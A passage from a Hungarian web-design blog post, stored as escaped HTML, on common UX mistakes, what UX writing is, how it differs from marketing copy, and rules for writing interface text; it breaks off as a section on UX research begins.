felhaszn\u00e1l\u00f3<\/strong>, \u00e9s lehet\u0151leg erre min\u00e9l gyakrabban ker\u00fcl sor.<\/p>\n\n\n\n<h4>4. UX hiba: minden felhaszn\u00e1l\u00f3ra tervezel<\/h4>\n\n\n\n<p>Hab\u00e1r val\u00f3ban a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra kell tervezned, azonban nem \u201cminden\u201d felhaszn\u00e1l\u00f3 sz\u00e1m\u00e1ra. <strong>A \u201cfelhaszn\u00e1l\u00f3k\u201d ugyanis nem azonosak a Te c\u00e9lcsoportoddal.<\/strong> M\u00e1r kor\u00e1bban is utaltunk r\u00e1, hogy azok az emberek, akik kapcsolatba ker\u00fclnek a weboldaladdal, nem mind azok, akiket val\u00f3ban el akarsz \u00e9rni.<\/p>\n\n\n\n<p>N\u00e9zz\u00fck p\u00e9ldak\u00e9nt a Google-t! \u0150 is a felhaszn\u00e1l\u00f3kra figyel, de ki a c\u00e9lcsoportja? Azok, akik keresnek valami. Nem minden felhaszn\u00e1l\u00f3. Nem tartoznak a csoportba p\u00e9ld\u00e1ul a hirdet\u0151k, hiszen a Google tudja, hogy a hirdet\u0151k b\u00e1rmit elfogadnak, amit ny\u00fajtanak nekik. \u00c9s azokat, akik nem \u00fagy hirdetnek, ahogy elv\u00e1rja a Google, b\u00fcntetni fogja. Ugyan\u00edgy nem jelentik c\u00e9lcsoportj\u00e1t a botok vagy a csal\u00f3 weboldalak, \u00edgy ezeket is igyekszik kiszor\u00edtani a keres\u0151 haszn\u00e1lat\u00e1b\u00f3l. A c\u00e9lcsoportj\u00e1t a keres\u0151 emberek alkotj\u00e1k, \u0151k hozz\u00e1k a p\u00e9nzt a Google-nek, \u0151k kattintanak a megjelen\u0151 hirdet\u00e9sekre, haszn\u00e1lj\u00e1k az appokat, t\u00f6ltenek le szoftvereket.<\/p>\n\n\n\n<p>A Google teh\u00e1t olyan felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt alak\u00edt ki, mely teljes m\u00e9rt\u00e9kben egy keres\u00e9st v\u00e9gz\u0151 emberre van szabva. Ha spammel jelensz meg a Google tal\u00e1lati oldalain, akkor azt nem fogja toler\u00e1lni, \u00e9s minden erej\u00e9vel ara t\u00f6rekszik, hogy kisz\u0171rj\u00f6n. A Google teh\u00e1t azok sz\u00e1m\u00e1ra, aki nem tartoznak a c\u00e9lcsoportj\u00e1ba, vagyis a keres\u0151k k\u00f6z\u00e9, gyakorlatilag lerombolja a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt, megpr\u00f3b\u00e1lja elt\u00e1vol\u00edtani \u0151ket a felhaszn\u00e1l\u00f3k k\u00f6z\u00fcl.<\/p>\n\n\n\n<p>Teh\u00e1t rendben van, hogy a felhaszn\u00e1l\u00f3kra tervezed a weboldalad, azt azonban soha ne t\u00e9veszd szem el\u0151l, hogy a weboldalnak nem a felhaszn\u00e1l\u00f3k \u00f6sszess\u00e9g\u00e9nek kell megfelelnie, hanem csak a c\u00e9lcsoportod ig\u00e9nyeinek!<\/p>\n\n\n\n<h4>5. UX hiba: \u00d6sszekevered a UX-et a UI-val<\/h4>\n\n\n\n<p>A UX nem azonos a UI-val, ahogy azt m\u00e1r a bejegyz\u00e9s elej\u00e9n olvashattad. Fontos ismerni a user interface (UI) \u00e9s a UX fogalm\u00e1t, \u00e9s a kett\u0151t megk\u00fcl\u00f6nb\u00f6ztetni egym\u00e1st\u00f3l. M\u00e9g akkor is, ha ez nem megy k\u00f6nnyen, ez\u00e9rt is fordulhat el\u0151 igen gyakran a kett\u0151 kever\u00e9se. A k\u00e9t dolog ugyanis er\u0151s kapcsolatban van egym\u00e1ssal.<\/p>\n\n\n\n<p>Az UI design az\u00e9rt felel\u0151s, hogy a felhaszn\u00e1l\u00f3 mik\u00e9nt ker\u00fcl kapcsolatba a weboldal fel\u00fclet\u00e9vel, viszont ez csak egy r\u00e9sze a teljes felhaszn\u00e1l\u00f3 \u00e9lm\u00e9nynek. De mik\u00f6zben az UI design arr\u00f3l sz\u00f3l, hogy a felhaszn\u00e1l\u00f3 melyik gombot nyomja meg, hova megy tov\u00e1bb az oldalon – vagyis, hogy mennyire vil\u00e1gos sz\u00e1m\u00e1ra a fel\u00fclet, tekintetbe v\u00e9ve a c\u00e9ljait -, a UX design arr\u00f3l, hogy az emberek mik\u00e9nt \u00e9rzik magukat a weboldal haszn\u00e1lata sor\u00e1n. Teh\u00e1t az UI design c\u00e9lja, hogy hat\u00e9kony, m\u00e9gis mag\u00e1val ragad\u00f3 fel\u00fcletet k\u00e9sz\u00edtsen, ami seg\u00edt megteremteni a teljes, \u00e1tfog\u00f3 felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt.<\/p>\n\n\n\n<p>A usability tesztek biztos\u00edtj\u00e1k azt, hogy mindig a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyre figyelj\u00fcnk, amikor egy fel\u00fcletet tervez\u00fcnk. Miel\u0151tt egy\u00e1ltal\u00e1n a Photoshophoz ny\u00faln\u00e1nk, meg kell ismerni a felhaszn\u00e1l\u00f3inkat, a c\u00e9ljaikat, a v\u00e1gyaikat, a viselked\u00e9s\u00fcket. Att\u00f3l, hogy a weboldalunk gy\u00f6ny\u00f6r\u0171 lett, m\u00e9g nem biztos, hogy j\u00f3l lehet haszn\u00e1lni, illetve att\u00f3l, hogy j\u00f3l m\u0171k\u00f6d\u0151, m\u00e9g nem fogj\u00e1k az emberek megszeretni (<a href=\"http:\/\/blog.webshark.hu\/2015\/06\/18\/a-jo-webdesign\/\" target=\"_blank\" rel=\"noopener\">err\u0151l m\u00e1r itt \u00edrtunk kor\u00e1bban<\/a>).<\/p>\n\n\n\n<p>Amikor a UX \u00e9s a UI megtervez\u00e9s\u00e9re ker\u00fcl sor, mindig a tartalommal \u00e9rdemes kezdeni a munk\u00e1t. Az els\u0151 felhaszn\u00e1l\u00f3i elemz\u00e9sek ut\u00e1n elk\u00e9sz\u00fcl az interakt\u00edv oldalt\u00e9rk\u00e9p, aminek seg\u00edts\u00e9g\u00e9vel \u00e1tl\u00e1that\u00f3 a felhaszn\u00e1l\u00f3 \u00e9lm\u00e9ny alakul\u00e1s\u00e1nak folyamata. Az oldalt\u00e9rk\u00e9p tartalmazza a weboldal inform\u00e1ci\u00f3s fel\u00e9p\u00edt\u00e9s\u00e9t, amelynek egyes elemeire kattintva el\u00e9rhetj\u00fck az egyes oldalak dr\u00f3tv\u00e1z\u00e1t vagy pedig a m\u00e1r k\u00e9sz\u00fcl\u0151 oldalt. A design folyamata a k\u00f6vetkez\u0151 lesz:<\/p>\n\n\n\n<ul><li>tartalmi strukt\u00fara kialak\u00edt\u00e1sa<\/li><li>interakci\u00f3s design<\/li><li>vizu\u00e1lis tervez\u00e9s<\/li><\/ul>\n\n\n\n<p>Ez a folyamat az\u00e9rt \u00edgy \u00e9p\u00fcl fel, mivel a tartalom form\u00e1lja meg a design alapjait, \u00e9s ez az, ami tulajdonk\u00e9ppen \u00e9rdekli a felhaszn\u00e1l\u00f3t a weboldalon. Amikor mindez az interakci\u00f3k kidolgoz\u00e1sa r\u00e9v\u00e9n megjelenik a t\u00f6bb\u00e9-kev\u00e9sb\u00e9 kidolgozott weboldalon, az seg\u00edt k\u00e9zben tartani a tartalom befogad\u00e1s\u00e1nak folyamat\u00e1t. Ezek ut\u00e1n, vagy ezzel p\u00e1rhuzamosan k\u00e9sz\u00fcl a vizu\u00e1lis tervez\u00e9s annak \u00e9rdek\u00e9ben, hogy az \u00e9lm\u00e9ny annyira vonz\u00f3 legyen, amennyire csak lehets\u00e9ges.<\/p>\n\n\n\n<h4>6. UX hiba: T\u00fal sokat k\u00e9rdezel a felhaszn\u00e1l\u00f3t\u00f3l<\/h4>\n\n\n\n<p>Az emberek lust\u00e1k. Min\u00e9l hosszabb \u0171rlapokat akarsz kit\u00f6ltetni vel\u00fck, ann\u00e1l ink\u00e1bb elillan a motiv\u00e1ci\u00f3juk. Pedig \u00e1ltal\u00e1ban az a c\u00e9l, hogy a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt min\u00e9l olajozottabb\u00e1 tegy\u00fck. Az <a href=\"http:\/\/www.imagescape.com\/clients-like-you\/contact-form\/\" target=\"_blank\" rel=\"noopener\">Imaginary Landscape<\/a> egy n\u00e9h\u00e1ny \u00e9ves kutat\u00e1sa m\u00e1r r\u00e1mutatott arra, hogy a t\u00fal sok kit\u00f6ltend\u0151 mez\u0151 egy \u0171rlapon elbizonytalan\u00edtja az embereket. A teszt egy 11 \u00e9s egy 4 mez\u0151s formot hasonl\u00edtott \u00f6ssze.<\/p>\n\n\n\n<p>Persze enn\u00e9l is lehet r\u00f6videbbre v\u00e1gni egy regisztr\u00e1ci\u00f3s \u0171rlapot, p\u00e9ld\u00e1ul ha mind\u00f6ssze nevet \u00e9s e-mail c\u00edmet k\u00e9r\u00fcnk. Ugyanakkor minden eset m\u00e1s \u00e9s m\u00e1s, \u00edgy bizonyos helyzetekben fontos lehet az is, hogy p\u00e9ld\u00e1ul a telefonsz\u00e1m\u00e1t megadja a felhaszn\u00e1l\u00f3. A kutat\u00e1s egy\u00e9bk\u00e9nt azt \u00e1llap\u00edtotta meg, hogy a r\u00f6videbb \u0171rlap 140 sz\u00e1zal\u00e9kkal jobban teljes\u00edtett, mint a hosszabb. R\u00e1ad\u00e1sul a konverzi\u00f3k sz\u00e1ma is 120 sz\u00e1zal\u00e9kkal n\u00f6vekedett a r\u00f6videbb form haszn\u00e1latakor, mik\u00f6zben a kevesebb mez\u0151 a konverzi\u00f3k min\u0151s\u00e9g\u00e9re nem volt hat\u00e1ssal.<\/p>\n\n\n\n<p>Annak \u00e9rdek\u00e9ben teh\u00e1t, hogy meghat\u00e1rozzuk a mez\u0151k optim\u00e1lis sz\u00e1m\u00e1t, \u00e9rdemes egyr\u00e9szt megvizsg\u00e1lni a felhaszn\u00e1l\u00f3inkat, m\u00e1sr\u00e9szt pedig v\u00e9giggondolni, hogy t\u00e9nylegesen milyen adatokra van sz\u00fcks\u00e9g\u00fcnk t\u0151l\u00fck. Mik\u00f6zben elk\u00e9pzelhet\u0151, hogy a c\u00e9g sales-esei az\u00e9rt k\u00fczdenek, hogy min\u00e9l t\u00f6bb inform\u00e1ci\u00f3t begy\u0171jtsenek a felhaszn\u00e1l\u00f3kr\u00f3l, addig a designerek az\u00e9rt, hogy min\u00e9l jobban ler\u00f6vid\u00edts\u00e9k az \u0171rlapokat. A kett\u0151t kell teh\u00e1t egyens\u00falyba hozni, mik\u00f6zben figyelembe vessz\u00fck a hossz\u00fa \u0171rlapok felhaszn\u00e1l\u00f3kra gyakorolt hat\u00e1s\u00e1t. \u00dagyhogy amikor A\/B tesztekre ker\u00fcl sor, akkor az \u0171rlapokkal is foglalkozzunk. (Ugyanakkor persze egy \u0171rlap nem att\u00f3l lesz j\u00f3, hogy r\u00f6vid. Ennek kapcs\u00e1n <a href=\"https:\/\/webshark.hu\/hirek\/milyen-jo-urlap\/\" target=\"_blank\" rel=\"noopener\">\u00e9rdemes elolvasni ezt a bejegyz\u00e9s\u00fcnket is<\/a>.)<\/p>\n\n\n\n<h4>\u00c9s n\u00e9h\u00e1ny tov\u00e1bbi tan\u00e1cs:<\/h4>\n\n\n\n<ul><li><strong>Ne bonyol\u00edtsd!<\/strong> A minimalizmus \u00e9s a flat design az\u00e9rt olyan n\u00e9pszer\u0171 mostan\u00e1ban, mivel mindent elt\u00e1vol\u00edt a weboldalr\u00f3l mely nem szolg\u00e1lja k\u00f6zvetlen\u00fcl azt a c\u00e9lt, hogy a felhaszn\u00e1l\u00f3k befogadj\u00e1k a tartalmat.<\/li><li>\u00c9rdemes teh\u00e1t a <strong>content first<\/strong> megk\u00f6zel\u00edt\u00e9st alkalmazni a tervez\u00e9sn\u00e9l, \u00e9s a felesleg elt\u00e1vol\u00edt\u00e1s\u00e1val alak\u00edtani a weboldalt.<\/li><li>Alkalmazd a <strong>mobile first<\/strong> navig\u00e1ci\u00f3t! Bizonyosodj meg arr\u00f3l, hogy a kattinthat\u00f3 fel\u00fclet \u00e9s a k\u00f6r\u00fcl\u00f6tte l\u00e9v\u0151 t\u00e9r nincs sz\u0171kre szabva.<\/li><li>De ami tal\u00e1n m\u00e9g fontosabb, hogy \u00fagy tervezz meg minden oldalt, mintha <strong>olyan felhaszn\u00e1l\u00f3knak k\u00e9sz\u00fclne, akik el\u0151sz\u00f6r j\u00e1rnak ott<\/strong>. Az emberek sz\u00e1m\u00e1ra mindig a lehet\u0151 legvil\u00e1gosabban meg kell mutatni, hogy \u00e9ppen hol j\u00e1rnak, \u00e9s hogy merre haladhatnak tov\u00e1bb.<\/li><\/ul>\n\n\n\n<p>Ha pedig v\u00e9g\u00fcl valamivel kapcsolatban k\u00e9telyeid mer\u00fclnek fel a tervez\u00e9s sor\u00e1n, akkor mindig tedd fel a k\u00e9rd\u00e9s magadnak: <strong>mit tenne a felhaszn\u00e1l\u00f3 ebben a helyzetben?<\/strong> Majd innen k\u00f6zel\u00edts az \u00fczleti c\u00e9lok fel\u00e9. Mert az \u00fczleti c\u00e9lok hat\u00e1rozz\u00e1k meg, hogy merre tartunk, azonban a felhaszn\u00e1l\u00f3i ig\u00e9nyeknek kell korm\u00e1nyozniuk a haj\u00f3t.<\/p>\n\n\n\n<h2>Mi az a UX sz\u00f6veg\u00edr\u00e1s?<\/h2>\n\n\n\n<p>Aki foglalkozott m\u00e1r a UX-szel, az tal\u00e1lkozhatott az angol szakirodalomban a UX writing kifejez\u00e9ssel. \u00c9s felmer\u00fclhetett benne a k\u00e9rd\u00e9s, hogy mi is ez? Mi\u00e9rt kell az \u00edr\u00e1st, a sz\u00f6veg\u00edr\u00e1st a UX fogalm\u00e1val kieg\u00e9sz\u00edteni?<\/p>\n\n\n\n<p>A UX sz\u00f6veg\u00edr\u00e1s r\u00e9sze a nagy eg\u00e9sznek: egy alkot\u00f3eleme a UX strat\u00e9gi\u00e1nak. Arr\u00f3l sz\u00f3l, hogy p\u00e1rbesz\u00e9det alak\u00edtunk ki a term\u00e9k \u00e9s a felhaszn\u00e1l\u00f3k k\u00f6z\u00f6tt. A UX \u00edr\u00f3k emberi hangot adnak a nem annyira emberi felhaszn\u00e1l\u00f3i fel\u00fcleteknek. A UX sz\u00f6veg\u00edr\u00e1s olyan j\u00f3l \u00e9rthet\u0151 utas\u00edt\u00e1sokb\u00f3l \u00e1ll, melyek seg\u00edtenek a felhaszn\u00e1l\u00f3nak kapcsolatba l\u00e9pni az adott term\u00e9kkel. Ugyanakkor itt nem egy haszn\u00e1lati utas\u00edt\u00e1sr\u00f3l van sz\u00f3, \u00e9s nem csak arr\u00f3l, hogy a gombra r\u00e1ker\u00fclj\u00f6n a „Kos\u00e1rba” sz\u00f6veg. <\/p>\n\n\n\n<p>A c\u00e9l az, hogy a term\u00e9kkel kapcsolatos \u00e9lm\u00e9ny akad\u00e1lymentess\u00e9 t\u00e9tel\u00e9ben a sz\u00f6vegek is seg\u00edtsenek. Ennek \u00e9rdek\u00e9ben bar\u00e1ts\u00e1gos, h\u00e9tk\u00f6znapi, \u00e9rthet\u0151 sz\u00f6vegeket kell haszn\u00e1lni. A UX sz\u00f6veg ad szem\u00e9lyess\u00e9get a weboldalnak.<\/p>\n\n\n\n<p>Ehhez persze nem \u00e1rt tiszt\u00e1ban lenni a felhaszn\u00e1l\u00f3k ig\u00e9nyeivel \u00e9s v\u00e1rakoz\u00e1saival. Az \u00edr\u00e1shoz kell az emp\u00e1tia, de adatok alapj\u00e1n t\u00f6rt\u00e9nik. Egy-egy sz\u00f3nak is k\u00fcl\u00f6n\u00f6s jelent\u0151s\u00e9ge lehet a v\u00e9geredm\u00e9nyt tekintve, hogy ne mer\u00fcljenek fel a felhaszn\u00e1l\u00f3ban k\u00e9telyek, bizonytalans\u00e1g. <\/p>\n\n\n\n<p>Amikor UX sz\u00f6vegr\u0151l van sz\u00f3, akkor annak \u00edr\u00e1s\u00e1hoz a felhaszn\u00e1l\u00f3k hely\u00e9be kell k\u00e9pzelni magunkat, de mindezt adatok – az azokb\u00f3l kialak\u00edtott person\u00e1k – alapj\u00e1n, \u00e9s ki kell tal\u00e1lni, hogy mi tenn\u00e9 boldogg\u00e1 az embereket. A felt\u00e9telez\u00e9sek itt nem elegend\u0151ek, ez\u00e9rt a sz\u00f6vegeket rendszeresen tesztelni kell, majd \u00fajra\u00edrni, \u00e9s \u00fajra tesztelni. Ha az l\u00e1that\u00f3, hogy mondjuk egy gombra nem kattintanak az emberek, akkor \u00faj sz\u00f6veggel kell pr\u00f3b\u00e1lkozni, \u00e9s eg\u00e9szen addig csiszolni, am\u00edg a lehet\u0151 leg\u00e9rthet\u0151bb \u00e9s legmeggy\u0151z\u0151bb nem lesz.<\/p>\n\n\n\n<p><em>Friss\u00edt\u00e9s, 2021.07.27.:<\/em><\/p>\n\n\n\n<h3>Mi a k\u00fcl\u00f6nbs\u00e9g sz\u00f6veg\u00edr\u00e1s \u00e9s UX sz\u00f6veg\u00edr\u00e1s k\u00f6z\u00f6tt?<\/h3>\n\n\n\n<p>A k\u00e9rd\u00e9s a gyakorlatban \u00e1ltal\u00e1ban \u00fagy mer\u00fcl fel, hogy mondjuk egy rekl\u00e1msz\u00f6veg vagy b\u00e1rmely m\u00e1s marketingsz\u00f6veg mi\u00e9rt nem megfelel\u0151 egy weboldalon UX szempontb\u00f3l?<\/p>\n\n\n\n<p>Hagyom\u00e1nyosan a marketingsz\u00f6vegek \u00edr\u00e1sa arra szolg\u00e1l, hogy sz\u00f6veges tartalmakkal t\u00f6lts\u00fcnk meg kamp\u00e1nyokat, kapcsol\u00f3d\u00f3 marketingcsatorn\u00e1kat, leveleket, stb. Az ilyen sz\u00f6veg c\u00e9lja legink\u00e1bb az elad\u00e1s, melyn\u00e9l k\u00f6zvet\u00edteni kell a m\u00e1rka\u00fczenetet, a term\u00e9kjellemz\u0151ket, hatni kell a felhaszn\u00e1l\u00f3k \u00e9rzelmeire, hogy valamik\u00e9ppen \u00e9rezzen a m\u00e1rka ir\u00e1nt. <\/p>\n\n\n\n<p>A f\u00f3kusz itt nem azon van, hogy egy fel\u00fclet, mondjuk a weboldal felhaszn\u00e1l\u00f3 fel\u00fclete, haszn\u00e1lhat\u00f3, \u00e9rthet\u0151 legyen, \u00e9s hogy a felhaszn\u00e1l\u00f3k v\u00e9gre tudj\u00e1k hajtani az eltervezett feladatukat. Ezek \u00e1ltal\u00e1ban hosszabb sz\u00f6vegek, mint amit egy app vagy egy weboldal ig\u00e9nyel, a haszn\u00e1lat szempontj\u00e1b\u00f3l nem adnak semmit a felhaszn\u00e1l\u00f3nak. <\/p>\n\n\n\n<p>A marketingsz\u00f6vegek ez\u00e9rt nem j\u00f3k a digit\u00e1lis \u00e9lm\u00e9ny kialak\u00edt\u00e1s\u00e1hoz. A digit\u00e1lis fel\u00fcletek \u00e9s interakci\u00f3k elt\u00e9r\u0151 megk\u00f6zel\u00edt\u00e9st ig\u00e9nyelnek, mert elt\u00e9r\u0151 a c\u00e9ljuk. Ugyan\u00edgy egy CTA-hoz tartoz\u00f3 mikrosz\u00f6veg sem optim\u00e1lis egy PR-cikk sz\u00e1m\u00e1ra. <\/p>\n\n\n\n<p>R\u00f6viden teh\u00e1t, m\u00edg egy marketingsz\u00f6veg a m\u00e1rka megjelen\u00edt\u00e9s\u00e9t szolg\u00e1lja, a UX sz\u00f6veg az\u00e9rt van, hogy a felhaszn\u00e1l\u00f3 sikeresen v\u00e9grehajtson egy feladatot egy fel\u00fcleten.<\/p>\n\n\n\n<p>Ez alapj\u00e1n gondolhatod azt, hogy egy UX sz\u00f6veghez elegend\u0151 lesz a marketingsz\u00f6vegeidet kicsit ler\u00f6vid\u00edteni, leegyszer\u0171s\u00edteni, hogy passzoljanak a webodalhoz \u00e9s j\u00f3k legyenek CTA-nak. Egy val\u00f3ban j\u00f3 UX-sz\u00f6veghez azonban UX-kutat\u00e1sra \u00e9s tervez\u00e9sre van sz\u00fcks\u00e9g. Egy felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fa folyamat vezet el a megfelel\u0151 sz\u00f6veg kialak\u00edt\u00e1s\u00e1hoz. De mi is kell ehhez?<\/p>\n\n\n\n<p>Meg kell \u00e9rtened a felhaszn\u00e1l\u00f3t, a c\u00e9get \u00e9s a fel\u00fcletet.<\/p>\n\n\n\n<p>A meg\u00e9rt\u00e9shez fel kell tenned ezeket a k\u00e9rd\u00e9seket: kik a felhaszn\u00e1l\u00f3id? Hogyan gondolkodnak? Milyen st\u00edlust haszn\u00e1lnak a c\u00e9gek a hasonl\u00f3 term\u00e9kekn\u00e9l \u00e9s szolg\u00e1ltat\u00e1sokn\u00e1l? Milyen szavakat \u00e9rtenek meg a felhaszn\u00e1l\u00f3k \u00e9s milyeneket haszn\u00e1lnak? Mennyire bonyolult sz\u00f6vegeket \u00e9rtenek meg? Mennyire kitart\u00f3 a figyelm\u00fck? <\/p>\n\n\n\n<p>Emellett a m\u00e1rk\u00e1val kapcsolatban is tiszt\u00e1zni kell p\u00e1r dolgot. Mi az a f\u0151 feladat, amit szeretn\u00e9nk, ha v\u00e9grehajtana a felhaszn\u00e1l\u00f3? Milyen ipar\u00e1gi szakszavakat, kifejez\u00e9sek haszn\u00e1l a c\u00e9g? Mennyiben t\u00e9r el a kommunik\u00e1ci\u00f3ja a konkurenci\u00e1\u00e9t\u00f3l? Milyen st\u00edlus\u00fa a c\u00e9g kommunik\u00e1ci\u00f3ja? <\/p>\n\n\n\n<p>V\u00e9g\u00fcl pedig nem \u00e1rt tiszt\u00e1ban lenni azzal, hogy milyen platformra \u00edrunk, ennek milyen korl\u00e1tai vannak \u00e9s milyen lehet\u0151s\u00e9gek rejlenek benne. Vannak-e p\u00e9ld\u00e1ul korl\u00e1tok a sz\u00f6veghossz\u00fas\u00e1gokra vonatkoz\u00f3an?<\/p>\n\n\n\n<h3>A UX \u00edr\u00e1s n\u00e9h\u00e1ny szab\u00e1lya<\/h3>\n\n\n\n<p><strong>Az \u00e9rthet\u0151s\u00e9g \u00e9s a haszn\u00e1lhat\u00f3s\u00e1g a legfontosabb<\/strong> – a legels\u0151 dolog, amire a UX \u00edr\u00e1sn\u00e1l figyelni kell, hogy a sz\u00f6veg t\u00f6k\u00e9letesen vil\u00e1gos, \u00e9rthet\u0151 \u00e9s val\u00f3ban haszn\u00e1lhat\u00f3 legyen az emberek sz\u00e1m\u00e1ra. Ezt persze nehezebb megval\u00f3s\u00edtani, mint els\u0151re gondoln\u00e1nk. P\u00e9ld\u00e1ul az\u00e9rt, mert att\u00f3l m\u00e9g, hogy \u00e9rthet\u0151 egy sz\u00f6veg, nem biztos, hogy hasznos. De ez ford\u00edtva is igaz.<\/p>\n\n\n\n<p><strong>Olyan legyen, mint egy besz\u00e9lget\u00e9s<\/strong> – amihez az kell, hogy t\u00f6k\u00e9letesen ismerd a k\u00f6z\u00f6ns\u00e9get, \u00e9s pontosan azt add nekik, amit akarnak. Ne feledd, hogy a sz\u00f6veg az egyetlen lehet\u0151s\u00e9g a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra, hogy kapcsolatba l\u00e9pjenek az alkalmaz\u00e1ssal. Emiatt semmik\u00e9ppen nem lehet t\u00fal bonyolult vagy ijeszt\u0151.<\/p>\n\n\n\n<p><strong>Soha ne felejtsd el, mi\u00e9rt \u00edrsz a k\u00f6z\u00f6ns\u00e9gnek<\/strong> – az egy\u00fctt\u00e9rz\u00e9s r\u00e9v\u00e9n tudod a k\u00f6z\u00f6ns\u00e9g hely\u00e9be k\u00e9pzelni magad a v\u00e1s\u00e1rl\u00f3i \u00fat minden szakasz\u00e1n. <\/p>\n\n\n\n<p><strong>Ne kelljen a felhaszn\u00e1l\u00f3nak tal\u00e1lgatnia<\/strong> – a tal\u00e1lgat\u00e1s meg\u00f6li a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt, \u00e9s h\u00e1tr\u00e1nyosan hat a d\u00f6nt\u00e9sekre. Teh\u00e1t mik\u00f6zben fontos az egyszer\u0171s\u00e9g, arr\u00f3l mindig gy\u0151z\u0151dj meg, hogy egy\u00e9rtelm\u0171 a sz\u00f6veg, nem f\u00e9lre\u00e9rthet\u0151-e.<\/p>\n\n\n\n<p><strong>Azt, amit az emberek olvasni akarnak, nem mindig sz\u00f3rakoztat\u00f3 meg\u00edrni<\/strong> – n\u00e9ha olyan sz\u00f6vegekre van sz\u00fcks\u00e9g a weboldalon, amit kem\u00e9ny munka megalkotni, hogy azt\u00e1n a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra megk\u00f6nny\u00edtse az \u00f6sszetett feladatok v\u00e9grehajt\u00e1s\u00e1t.<\/p>\n\n\n\n<p><strong>Hat\u00e1rozd meg, mit jelent a siker az \u00fcgyfeleknek<\/strong> – \u00e9s jutalmazd \u0151ket az\u00e9rt, ha el\u00e9rik. Az embereknek sz\u00fcks\u00e9g\u00fck van a jutalomra, az\u00e9rt a munk\u00e1\u00e9rt, amit elv\u00e9geznek. <\/p>\n\n\n\n<p><strong>Ne legy\u00e9l passz\u00edv <\/strong>– legyen egy n\u00e9z\u0151pontod, mutass a l\u00e1togat\u00f3knak lehet\u0151s\u00e9geket! Ahhoz, hogy cs\u00f6kkentsd a f\u00e9lelmeiket, bizonytalans\u00e1gaikat, k\u00e9telyeiket, akt\u00edvnak kell lenned az \u00e9lm\u00e9nyeik sor\u00e1n.<\/p>\n\n\n\n<p><strong>A t\u00f6rt\u00e9neteknek mindig a v\u00e9g\u00e9t tal\u00e1ld ki el\u0151sz\u00f6r <\/strong>– ut\u00e1na r\u00e1\u00e9rsz a k\u00f6zep\u00e9t \u00e9s elej\u00e9t meg\u00edrni. Mindig a befejez\u00e9s a legfontosabb.<\/p>\n\n\n\n<p><strong>Azt \u00edrd meg, amit el akarsz mondani<\/strong> – \u00e9s ne azt, amir\u0151l \u00fagy \u00e9rzed, hogy el kellene mondanod. <\/p>\n\n\n\n<p><strong>Egyszer\u0171s\u00edts <\/strong>– els\u0151re minden fontosnak t\u0171nik, de legy\u00e9l maxim\u00e1lisan t\u00f6m\u00f6r, olyannyira, amit m\u00e1r k\u00e9nyelmetlennek \u00e9rzel.<\/p>\n\n\n\n<p><strong>Mindig k\u00e9sz\u00fclj a legrosszabbra<\/strong> – \u00e1ltal\u00e1ban a vizu\u00e1lis design \u00e9s a sz\u00f6veg is \u00fagy k\u00e9sz\u00fcl, hogy a fej\u00fcnkben a legjobb forgat\u00f3k\u00f6nyv megval\u00f3sul\u00e1s\u00e1t l\u00e1tjuk. Pedig a felhaszn\u00e1l\u00f3k id\u0151nk\u00e9nt belefutnak hib\u00e1kba. Ilyenkor bukkannak fel a hiba\u00fczenetek, melyek hat\u00e9konyan rombolj\u00e1k a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt. A hiba\u00fczeneteket ez\u00e9rt mindig a lehet\u0151 legnagyobb tapintattal \u00e9s \u00e1tgondolts\u00e1ggal kell megfogalmazni. A felhaszn\u00e1l\u00f3nak ilyen esetekben fogni kell a kez\u00e9t, amire legink\u00e1bb a sz\u00f6veg hivatott.<\/p>\n\n\n\n<p><strong>\u00cdrd \u00fajra<\/strong> – az teljesen norm\u00e1lis, hogy els\u0151re nincs meg a k\u00e9sz, v\u00e9gleges v\u00e1ltozata a sz\u00f6vegnek. A sz\u00f6vegek mindig v\u00e1ltoznak, igazodnak a felhaszn\u00e1l\u00f3i ig\u00e9nyekhez. Ha \u00fajra\u00edrod a sz\u00f6veget, att\u00f3l csak jobb lesz.<\/p>\n\n\n\n<p><strong>Val\u00f3s szem\u00e9lyekkel tesztelj<\/strong> – mint a webdesignnak, \u00fagy a sz\u00f6vegnek is felhaszn\u00e1l\u00f3i teszteken kellene \u00e1tesnie. Ez biztos\u00edtja, hogy val\u00f3ban akad\u00e1lymentes \u00e9s haszn\u00e1lhat\u00f3 sz\u00f6veg k\u00e9sz\u00fclj\u00f6n. Minden m\u00e1s megold\u00e1s csak tal\u00e1lgat\u00e1s. \u00c9rdemes t\u00f6bb verzi\u00f3t is k\u00e9sz\u00edteni sz\u00f6vegekb\u0151l, melyek k\u00f6z\u00fcl A\/B tesztekkel v\u00e1laszthatod ki a legjobbat.<\/p>\n\n\n\n<p><strong>A design k\u00e9sz\u00edt\u00e9se a sz\u00f6veggel kezd\u0151dj\u00f6n<\/strong> – a design elrendez\u00e9s\u00e9nek t\u00e1mogatnia kell a t\u00f6rt\u00e9netet.<\/p>\n\n\n\n<p>A UX \u00edr\u00e1s kapcs\u00e1n tov\u00e1bbi inform\u00e1ci\u00f3kat a <a href=\"http:\/\/blog.webshark.hu\/2018\/10\/30\/mikrointerakciok-microcopy\/\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"mikrointerakci\u00f3kr\u00f3l \u00e9s mikrocopyr\u00f3l (\u00faj f\u00fcl\u00f6n nyitja meg)\">mikrointerakci\u00f3kr\u00f3l \u00e9s mikrocopyr\u00f3l<\/a> sz\u00f3l\u00f3 bejegyz\u00e9s\u00fcnkben is tal\u00e1lsz.<\/p>\n\n\n\n<h2>Hogyan v\u00e9gezz el egy UX-kutat\u00e1st?<\/h2>\n\n\n\n<p>Ha valaki felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fa designt szeretne k\u00e9sz\u00edteni, annak alapja egy UX-kutat\u00e1s. Ezzel tudja ugyanis meghat\u00e1rozni, hogy mire van sz\u00fcks\u00e9ge a felhaszn\u00e1l\u00f3inak. Akadnak m\u00e1r n\u00e9h\u00e1nyan, akik v\u00e9geznek UX-kutat\u00e1sokat, de ennek sor\u00e1n hib\u00e1kat is 